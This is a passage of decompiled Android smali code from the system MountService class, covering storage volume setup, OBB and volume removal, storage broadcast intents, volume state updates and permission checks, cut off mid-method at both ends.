v3, 0x8 const/4 v12, 0x0 invoke-virtual {v14, v3, v12}, Landroid/content/res/TypedArray;->getInt(II)I move-result v3 int-to-long v0, v3 move-wide/from16 v28, v0 const-wide/16 v30, 0x400 mul-long v28, v28, v30 const-wide/16 v30, 0x400 mul-long v10, v28, v30 .line 1417 .local v10, "maxFileSize":J const-string v3, "MountService" new-instance v12, Ljava/lang/StringBuilder; invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V const-string v28, "got storage path: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 move-object/from16 v0, v24 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " description: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 move-object/from16 v0, v16 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " primary: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v5}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " removable: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " emulated: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v7}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " mtpReserve: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " allowMassStorage: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v9}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " maxFileSize: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v10, v11}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder; move-result-object v12 const-string v28, " allowMtp: " move-object/from16 v0, v28 invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v12 invoke-static {v3, v12}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 1423 if-eqz v7, :cond_4 .line 1426 new-instance v2, Landroid/os/storage/StorageVolume; const/4 v3, 0x0 const/4 v5, 0x1 const/4 v6, 0x0 const/4 v7, 0x1 const/4 v9, 0x0 const/4 v12, 0x0 invoke-direct/range {v2 .. v13}, Landroid/os/storage/StorageVolume;-><init>(Ljava/io/File;IZZZIZJLandroid/os/UserHandle;Z)V .end local v5 # "primary":Z .end local v6 # "removable":Z .end local v7 # "emulated":Z .end local v9 # "allowMassStorage":Z move-object/from16 v0, p0 iput-object v2, v0, Lcom/android/server/MountService;->mEmulatedTemplate:Landroid/os/storage/StorageVolume; .line 1429 invoke-static {}, Lcom/android/server/pm/UserManagerService;->getInstance()Lcom/android/server/pm/UserManagerService; move-result-object v27 .line 1430 .local v27, "userManager":Lcom/android/server/pm/UserManagerService; const/4 v3, 0x0 move-object/from16 v0, v27 invoke-virtual {v0, v3}, Lcom/android/server/pm/UserManagerService;->getUsers(Z)Ljava/util/List; move-result-object v3 invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator; move-result-object v19 .restart local v19 # "i$":Ljava/util/Iterator; :goto_3 invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->hasNext()Z move-result v3 if-eqz v3, :cond_6 invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v26 check-cast v26, Landroid/content/pm/UserInfo; .line 1431 .local v26, "user":Landroid/content/pm/UserInfo; invoke-virtual/range {v26 .. v26}, Landroid/content/pm/UserInfo;->getUserHandle()Landroid/os/UserHandle; move-result-object v3 move-object/from16 v0, p0 invoke-direct {v0, v3}, Lcom/android/server/MountService;->createEmulatedVolumeForUserLocked(Landroid/os/UserHandle;)V :try_end_1 .catch Lorg/xmlpull/v1/XmlPullParserException; {:try_start_1 .. :try_end_1} :catch_0 .catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 goto :goto_3 .line 1452 .end local v4 # "descriptionId":I .end local v8 # "mtpReserve":I .end local v10 # "maxFileSize":J .end local v13 # "allowMtp":Z .end local v14 # "a":Landroid/content/res/TypedArray; .end local v16 # "description":Ljava/lang/CharSequence; .end local v18 # "element":Ljava/lang/String; .end local v19 # "i$":Ljava/util/Iterator; .end local v24 # "path":Ljava/lang/String; .end local v26 # "user":Landroid/content/pm/UserInfo; .end local v27 # "userManager":Lcom/android/server/pm/UserManagerService; :catch_0 move-exception v17 .line 1453 .local v17, "e":Lorg/xmlpull/v1/XmlPullParserException; :try_start_2 new-instance v3, Ljava/lang/RuntimeException; move-object/from16 v0, v17 invoke-direct {v3, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V throw v3 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 .line 1459 .end local v17 # "e":Lorg/xmlpull/v1/XmlPullParserException; :catchall_0 move-exception v3 invoke-virtual/range {p0 .. p0}, Lcom/android/server/MountService;->isExternalStorageEmulated()Z move-result v12 if-eqz v12, :cond_a const/16 v21, 0x1 .line 1460 .restart local v21 # "index":I :goto_4 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v12}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v19 .restart local v19 # "i$":Ljava/util/Iterator; :cond_3 :goto_5 invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->hasNext()Z move-result v12 if-eqz v12, :cond_b invoke-interface/range {v19 .. v19}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v2 check-cast v2, Landroid/os/storage/StorageVolume; .line 1461 .restart local v2 # "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v2}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v12 if-nez v12, :cond_3 .line 1462 add-int/lit8 v22, v21, 0x1 .end local v21 # "index":I .restart local v22 # "index":I move/from16 v0, v21 invoke-virtual {v2, v0}, Landroid/os/storage/StorageVolume;->setStorageId(I)V move/from16 v21, v22 .end local v22 # "index":I .restart local v21 # "index":I goto :goto_5 .line 1435 .end local v2 # "volume":Landroid/os/storage/StorageVolume; .end local v19 # "i$":Ljava/util/Iterator; .end local v21 # "index":I .restart local v4 # "descriptionId":I .restart local v5 # "primary":Z .restart local v6 # "removable":Z .restart local v7 # "emulated":Z .restart local v8 # "mtpReserve":I .restart local v9 # "allowMassStorage":Z .restart local v10 # "maxFileSize":J .restart local v13 # "allowMtp":Z .restart local v14 # "a":Landroid/content/res/TypedArray; .restart local v16 # "description":Ljava/lang/CharSequence; .restart local v18 # "element":Ljava/lang/String; .restart local v24 # "path":Ljava/lang/String; :cond_4 if-eqz v24, :cond_5 if-nez v16, :cond_7 .line 1436 :cond_5 :try_start_3 const-string v3, "MountService" const-string v12, "Missing storage path or description in readStorageList" invoke-static {v3, v12}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I .line 1449 .end local v5 # "primary":Z .end local v6 # "removable":Z .end local v7 # "emulated":Z .end local v9 # "allowMassStorage":Z :cond_6 :goto_6 invoke-virtual {v14}, Landroid/content/res/TypedArray;->recycle()V :try_end_3 .catch Lorg/xmlpull/v1/XmlPullParserException; {:try_start_3 .. :try_end_3} :catch_0 .catch Ljava/io/IOException; {:try_start_3 .. :try_end_3} :catch_1 .catchall {:try_start_3 .. :try_end_3} :catchall_0 goto/16 :goto_0 .line 1454 .end local v4 # "descriptionId":I .end local v8 # "mtpReserve":I .end local v10 # "maxFileSize":J .end local v13 # "allowMtp":Z .end local v14 # "a":Landroid/content/res/TypedArray; .end local v16 # "description":Ljava/lang/CharSequence; .end local v18 # "element":Ljava/lang/String; .end local v24 # "path":Ljava/lang/String; :catch_1 move-exception v17 .line 1455 .local v17, "e":Ljava/io/IOException; :try_start_4 new-instance v3, Ljava/lang/RuntimeException; move-object/from16 v0, v17 invoke-direct {v3, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V throw v3 :try_end_4 .catchall {:try_start_4 .. :try_end_4} :catchall_0 .line 1438 .end local v17 # "e":Ljava/io/IOException; .restart local v4 # "descriptionId":I .restart local v5 # "primary":Z .restart local v6 # "removable":Z .restart local v7 # "emulated":Z .restart local v8 # "mtpReserve":I .restart local v9 # "allowMassStorage":Z .restart local v10 # "maxFileSize":J .restart local v13 # "allowMtp":Z .restart local v14 # "a":Landroid/content/res/TypedArray; .restart local v16 # "description":Ljava/lang/CharSequence; .restart local v18 # "element":Ljava/lang/String; .restart local v24 # "path":Ljava/lang/String; :cond_7 :try_start_5 new-instance v2, Landroid/os/storage/StorageVolume; new-instance v3, Ljava/io/File; move-object/from16 v0, v24 invoke-direct {v3, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V const/4 v12, 0x0 invoke-direct/range {v2 .. v13}, Landroid/os/storage/StorageVolume;-><init>(Ljava/io/File;IZZZIZJLandroid/os/UserHandle;Z)V .line 1441 .restart local v2 # "volume":Landroid/os/storage/StorageVolume; move-object/from16 v0, p0 invoke-direct {v0, v2}, Lcom/android/server/MountService;->addVolumeLocked(Landroid/os/storage/StorageVolume;)V .line 1444 move-object/from16 v0, p0 iget-object v3, v0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v2}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v12 const-string v28, "unmounted" move-object/from16 v0, v28 invoke-virtual {v3, v12, v0}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 1445 const-string v3, "unmounted" invoke-virtual {v2, v3}, Landroid/os/storage/StorageVolume;->setState(Ljava/lang/String;)V :try_end_5 .catch Lorg/xmlpull/v1/XmlPullParserException; {:try_start_5 .. :try_end_5} :catch_0 .catch Ljava/io/IOException; {:try_start_5 .. :try_end_5} :catch_1 .catchall {:try_start_5 .. :try_end_5} :catchall_0 goto :goto_6 .line 1459 .end local v2 # "volume":Landroid/os/storage/StorageVolume; .end local v4 # "descriptionId":I .end local v5 # "primary":Z .end local v6 # "removable":Z .end local v7 # "emulated":Z .end local v8 # "mtpReserve":I .end local v9 # "allowMassStorage":Z .end local v10 # "maxFileSize":J .end local v13 # "allowMtp":Z .end local v14 # "a":Landroid/content/res/TypedArray; .end local v16 # "description":Ljava/lang/CharSequence; .end local v24 # "path":Ljava/lang/String; :cond_8 const/16 v21, 0x0 goto/16 :goto_1 .line 1465 .restart local v19 # "i$":Ljava/util/Iterator; .restart local v21 # "index":I :cond_9 invoke-interface/range {v23 .. v23}, Landroid/content/res/XmlResourceParser;->close()V .line 1467 return-void .line 1459 .end local v18 # "element":Ljava/lang/String; .end local v19 # "i$":Ljava/util/Iterator; .end local v21 # "index":I :cond_a const/16 v21, 0x0 goto :goto_4 .line 1465 .restart local v19 # "i$":Ljava/util/Iterator; .restart local v21 # "index":I :cond_b invoke-interface/range {v23 .. v23}, Landroid/content/res/XmlResourceParser;->close()V .line 1466 throw v3 .end method .method private removeObbStateLocked(Lcom/android/server/MountService$ObbState;)V .locals 4 .param p1, "obbState" # Lcom/android/server/MountService$ObbState; .prologue .line 2668 invoke-virtual {p1}, Lcom/android/server/MountService$ObbState;->getBinder()Landroid/os/IBinder; move-result-object v0 .line 2669 .local v0, "binder":Landroid/os/IBinder; iget-object v2, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v2, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v1 check-cast v1, Ljava/util/List; .line 2670 .local v1, "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" if-eqz v1, :cond_1 .line 2671 invoke-interface {v1, p1}, Ljava/util/List;->remove(Ljava/lang/Object;)Z move-result v2 if-eqz v2, :cond_0 .line 2672 invoke-virtual {p1}, Lcom/android/server/MountService$ObbState;->unlink()V .line 2674 :cond_0 invoke-interface {v1}, Ljava/util/List;->isEmpty()Z move-result v2 if-eqz v2, :cond_1 .line 2675 iget-object v2, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v2, v0}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object; .line 2679 :cond_1 iget-object v2, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; iget-object v3, p1, Lcom/android/server/MountService$ObbState;->rawPath:Ljava/lang/String; invoke-interface {v2, v3}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object; .line 2680 return-void .end method .method private removeVolumeLocked(Landroid/os/storage/StorageVolume;)V .locals 3 .param p1, "volume" # Landroid/os/storage/StorageVolume; .prologue .line 1504 const-string v0, "MountService" new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string v2, "removeVolumeLocked() " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-static {v0, v1}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 1505 iget-object v0, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v0, p1}, Ljava/util/ArrayList;->remove(Ljava/lang/Object;)Z .line 1506 iget-object v0, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v1 invoke-virtual {v0, v1}, Ljava/util/HashMap;->remove(Ljava/lang/Object;)Ljava/lang/Object; .line 1507 iget-object v0, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v1 invoke-virtual {v0, v1}, Ljava/util/HashMap;->remove(Ljava/lang/Object;)Ljava/lang/Object; .line 1508 return-void .end method .method private sendStorageIntent(Ljava/lang/String;Landroid/os/storage/StorageVolume;Landroid/os/UserHandle;)V .locals 4 .param p1, "action" # Ljava/lang/String; .param p2, "volume" # Landroid/os/storage/StorageVolume; .param p3, "user" # Landroid/os/UserHandle; .prologue .line 1339 new-instance v0, Landroid/content/Intent; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string v2, "file://" invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {p2}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; move-result-object v1 invoke-direct {v0, p1, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V .line 1340 .local v0, "intent":Landroid/content/Intent; const-string v1, "storage_volume" invoke-virtual {v0, v1, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent; .line 1341 const/high16 v1, 0x4000000 invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; .line 1342 const-string v1, "MountService" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "sendStorageIntent " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v2 const-string v3, " to " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 1343 iget-object v1, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; invoke-virtual {v1, v0, p3}, Landroid/content/Context;->sendBroadcastAsUser(Landroid/content/Intent;Landroid/os/UserHandle;)V .line 1344 return-void .end method .method private sendUmsIntent(Z)V .locals 3 .param p1, "c" # Z .prologue .line 1347 iget-object v1, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; new-instance v2, Landroid/content/Intent; if-eqz p1, :cond_0 const-string v0, "android.intent.action.UMS_CONNECTED" :goto_0 invoke-direct {v2, v0}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V sget-object v0, Landroid/os/UserHandle;->ALL:Landroid/os/UserHandle; invoke-virtual {v1, v2, v0}, Landroid/content/Context;->sendBroadcastAsUser(Landroid/content/Intent;Landroid/os/UserHandle;)V .line 1350 return-void .line 1347 :cond_0 const-string v0, "android.intent.action.UMS_DISCONNECTED" goto :goto_0 .end method .method private setUmsEnabling(Z)V .locals 2 .param p1, "enable" # Z .prologue .line 1698 iget-object v1, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v1 .line 1699 :try_start_0 iput-boolean p1, p0, Lcom/android/server/MountService;->mUmsEnabling:Z .line 1700 monitor-exit v1 .line 1701 return-void .line 1700 :catchall_0 move-exception v0 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v0 .end method .method private toHex(Ljava/lang/String;)Ljava/lang/String; .locals 3 .param p1, "password" # Ljava/lang/String; .prologue .line 2273 if-nez p1, :cond_0 .line 2274 new-instance v1, Ljava/lang/String; invoke-direct {v1}, Ljava/lang/String;-><init>()V .line 2277 :goto_0 return-object v1 .line 2276 :cond_0 sget-object v1, Ljava/nio/charset/StandardCharsets;->UTF_8:Ljava/nio/charset/Charset; invoke-virtual {p1, v1}, Ljava/lang/String;->getBytes(Ljava/nio/charset/Charset;)[B move-result-object v0 .line 2277 .local v0, "bytes":[B new-instance v1, Ljava/lang/String; invoke-static {v0}, Lorg/apache/commons/codec/binary/Hex;->encodeHex([B)[C move-result-object v2 invoke-direct {v1, v2}, Ljava/lang/String;-><init>([C)V goto :goto_0 .end method .method private updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .locals 11 .param p1, "volume" # Landroid/os/storage/StorageVolume; .param p2, "state" # Ljava/lang/String; .prologue const/4 v10, 0x1 const/4 v9, 0x0 .line 752 invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v4 .line 754 .local v4, "path":Ljava/lang/String; iget-object v7, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v7 .line 755 :try_start_0 iget-object v6, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v6, v4, p2}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; move-result-object v3 check-cast v3, Ljava/lang/String; .line 756 .local v3, "oldState":Ljava/lang/String; invoke-virtual {p1, p2}, Landroid/os/storage/StorageVolume;->setState(Ljava/lang/String;)V .line 757 const-string v6, "formatting" invoke-virtual {v6, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v6 if-nez v6, :cond_0 .line 758 const/4 v6, 0x0 invoke-virtual {p1, v6}, Landroid/os/storage/StorageVolume;->setIsFormatting(Z)V .line 760 :cond_0 monitor-exit v7 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 762 invoke-virtual {p2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v6 if-eqz v6, :cond_1 .line 763 const-string v6, "MountService" const-string v7, "Duplicate state transition (%s -> %s) for %s" const/4 v8, 0x3 new-array v8, v8, [Ljava/lang/Object; aput-object p2, v8, v9 aput-object p2, v8, v10 const/4 v9, 0x2 aput-object v4, v8, v9 invoke-static {v7, v8}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v7 invoke-static {v6, v7}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I .line 802 :goto_0 return-void .line 760 .end local v3 # "oldState":Ljava/lang/String; :catchall_0 move-exception v6 :try_start_1 monitor-exit v7 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 throw v6 .line 768 .restart local v3 # "oldState":Ljava/lang/String; :cond_1 const-string v6, "MountService" new-instance v7, Ljava/lang/StringBuilder; invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V const-string v8, "volume state changed for " invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 const-string v8, " (" invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 const-string v8, " -> " invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 const-string v8, ")" invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v7 invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v7 invoke-static {v6, v7}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 772 invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->isEmulated()Z move-result v6 if-nez v6, :cond_2 .line 773 const-string v6, "unmounted" invoke-virtual {v6, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v6 if-eqz v6, :cond_3 .line 774 iget-object v6, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; invoke-virtual {v6, v9, v9}, Lcom/android/server/pm/PackageManagerService;->updateExternalMediaStatus(ZZ)V .line 781 iget-object v6, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; iget-object v7, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; const/4 v8, 0x5 invoke-virtual {v7, v8, v4}, Lcom/android/server/MountService$ObbActionHandler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; move-result-object v7 invoke-virtual {v6, v7}, Lcom/android/server/MountService$ObbActionHandler;->sendMessage(Landroid/os/Message;)Z .line 788 :cond_2 :goto_1 iget-object v7, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; monitor-enter v7 .line 789 :try_start_2 iget-object v6, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v6}, Ljava/util/ArrayList;->size()I move-result v6 add-int/lit8 v2, v6, -0x1 .local v2, "i":I :goto_2 if-ltz v2, :cond_4 .line 790 iget-object v6, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v6, v2}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object; move-result-object v0 check-cast v0, Lcom/android/server/MountService$MountServiceBinderListener; :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_1 .line 792 .local v0, "bl":Lcom/android/server/MountService$MountServiceBinderListener; :try_start_3 iget-object v6, v0, Lcom/android/server/MountService$MountServiceBinderListener;->mListener:Landroid/os/storage/IMountServiceListener; invoke-interface {v6, v4, v3, p2}, Landroid/os/storage/IMountServiceListener;->onStorageStateChanged(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V :try_end_3 .catch Landroid/os/RemoteException; {:try_start_3 .. :try_end_3} :catch_0 .catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_1 .catchall {:try_start_3 .. :try_end_3} :catchall_1 .line 789 :goto_3 add-int/lit8 v2, v2, -0x1 goto :goto_2 .line 783 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v2 # "i":I :cond_3 const-string v6, "mounted" invoke-virtual {v6, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v6 if-eqz v6, :cond_2 .line 784 iget-object v6, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; invoke-virtual {v6, v10, v9}, Lcom/android/server/pm/PackageManagerService;->updateExternalMediaStatus(ZZ)V goto :goto_1 .line 793 .restart local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .restart local v2 # "i":I :catch_0 move-exception v5 .line 794 .local v5, "rex":Landroid/os/RemoteException; :try_start_4 const-string v6, "MountService" const-string v8, "Listener dead" invoke-static {v6, v8}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I .line 795 iget-object v6, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; invoke-virtual {v6, v2}, Ljava/util/ArrayList;->remove(I)Ljava/lang/Object; goto :goto_3 .line 800 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v2 # "i":I .end local v5 # "rex":Landroid/os/RemoteException; :catchall_1 move-exception v6 monitor-exit v7 :try_end_4 .catchall {:try_start_4 .. :try_end_4} :catchall_1 throw v6 .line 796 .restart local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .restart local v2 # "i":I :catch_1 move-exception v1 .line 797 .local v1, "ex":Ljava/lang/Exception; :try_start_5 const-string v6, "MountService" const-string v8, "Listener failed" invoke-static {v6, v8, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I goto :goto_3 .line 800 .end local v0 # "bl":Lcom/android/server/MountService$MountServiceBinderListener; .end local v1 # "ex":Ljava/lang/Exception; :cond_4 monitor-exit v7 :try_end_5 .catchall {:try_start_5 .. :try_end_5} :catchall_1 .line 801 invoke-direct {p0, p2}, Lcom/android/server/MountService;->disbaleEnableUMSAfterStorageChanged(Ljava/lang/String;)V goto/16 :goto_0 .end method .method private validatePermission(Ljava/lang/String;)V .locals 4 .param p1, "perm" # Ljava/lang/String; .prologue .line 1353 iget-object v0, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; invoke-virtual {v0, p1}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I move-result v0 if-eqz v0, :cond_0 .line 1354 new-instance v0, Ljava/lang/SecurityException; const-string v1, "Requires %s permission" const/4 v2, 0x1 new-array v2, v2, [Ljava/lang/Object; const/4 v3, 0x0 aput-object p1, v2, v3 invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V throw v0 .line 1356 :cond_0 return-void .end method .method private validateUserRestriction(Ljava/lang/String;)V .locals 3 .param p1, "restriction" # Ljava/lang/String; .prologue .line 1364 invoke-direct {p0, p1}, Lcom/android/server/MountService;->hasUserRestriction(Ljava/lang/String;)Z move-result v0 if-eqz v0, :cond_0 .line 1365 new-instance v0, Ljava/lang/SecurityException; new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string v2, "User has restriction " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1, p1}, 